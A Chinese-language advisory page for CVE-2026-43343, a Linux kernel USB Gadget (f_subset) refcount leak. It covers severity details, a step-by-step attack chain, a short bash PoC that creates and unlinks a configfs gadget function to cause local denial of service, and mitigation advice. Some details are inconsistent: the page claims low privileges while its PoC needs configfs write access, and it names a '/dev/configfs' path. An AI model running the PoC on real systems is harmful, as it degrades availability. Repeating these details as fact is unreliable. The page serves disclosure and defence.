IPBUF安全漏洞报告
English
CVE-2026-43343 CVSS 5.5 中危

CVE-2026-43343 Linux内核USB Gadget引用计数泄漏漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43343
漏洞类型
资源管理错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel拒绝服务资源泄漏USB Gadget本地漏洞CVE-2026-43343

漏洞概述

Linux内核中的USB Gadget子系统(f_subset组件)存在一个资源管理漏洞。问题在于geth_alloc函数增加了引用计数,但对应的geth_free函数却未能正确减少该计数。这种引用计数的不平衡导致在取消链接函数后,无法通过configfs配置属性,从而可能引发拒绝服务或系统资源耗尽。该漏洞需要本地低权限用户即可触发,攻击复杂度低。

技术细节

该漏洞位于Linux内核的USB Gadget功能驱动层,具体涉及f_subset.c文件中的网络子集功能实现。在gadget功能的初始化过程中,geth_alloc函数负责分配资源并增加配置组或相关设备的引用计数,以确保对象在使用期间不会被意外释放。然而,在清理过程中,geth_free函数存在逻辑缺陷,遗漏了对引用计数的递减操作。这种引用计数的不平衡导致了内存泄漏或对象生命周期管理错误。当本地用户通过configfs取消链接该功能时,由于引用计数未归零,相关的内核对象无法被正确释放和销毁。这会导致后续无法通过configfs对该属性进行重新配置,造成配置接口挂起或拒绝服务。攻击者只需具备本地低权限,反复执行创建和销毁USB gadget的操作,即可耗尽系统资源或使USB网络功能失效。

攻击链分析

STEP 1
步骤1
攻击者获取本地系统的低权限用户访问权限。
STEP 2
步骤2
攻击者利用configfs接口创建USB Gadget配置,并启用f_subset功能(geth),触发geth_alloc分配资源并增加引用计数。
STEP 3
步骤3
攻击者执行取消链接操作,触发geth_free函数。由于漏洞存在,引用计数未被正确减少。
STEP 4
步骤4
攻击者重复上述操作或尝试重新配置属性。由于内核对象引用计数泄漏,导致资源无法释放,最终造成配置失败或系统可用性降低(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-43343: Trigger refcount leak in f_subset # This script manipulates configfs to trigger the geth_alloc and geth_free path. # 1. Setup configfs modprobe libcomposite mkdir -p /sys/kernel/config/usb_gadget/g1 cd /sys/kernel/config/usb_gadget/g1 # 2. Create the function (triggers geth_alloc -> refcnt++) mkdir functions/geth.usb0 # 3. Link to configuration (standard usage) mkdir configs/c.1 ln -s functions/geth.usb0 configs/c.1/ # 4. Unlink the function (triggers geth_free -> missing refcnt--) # This is where the bug occurs: the reference count is not decremented. rm configs/c.1/geth.usb0 # 5. Attempt to reconfigure or cleanup # Due to the leak, the function attributes may remain locked or memory is leaked. echo "Check kernel logs or slabinfo for memory leaks (geth_alloc)." # Cleanup cd / rm -rf /sys/kernel/config/usb_gadget/g1

影响范围

Linux Kernel < 23e4851ce348a329d974e84e828155dda9f52122
Linux Kernel < 3d436670b47415da042452618fb5d8e317ab095f
Linux Kernel < 3f5bfc550a40d7493b1cf09540ed6b412b3b82be

防御指南

临时缓解措施
如果无法立即升级内核,建议禁用USB Gadget功能或严格限制对/dev/configfs目录的访问权限,仅允许受信任的用户或进程操作USB配置。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表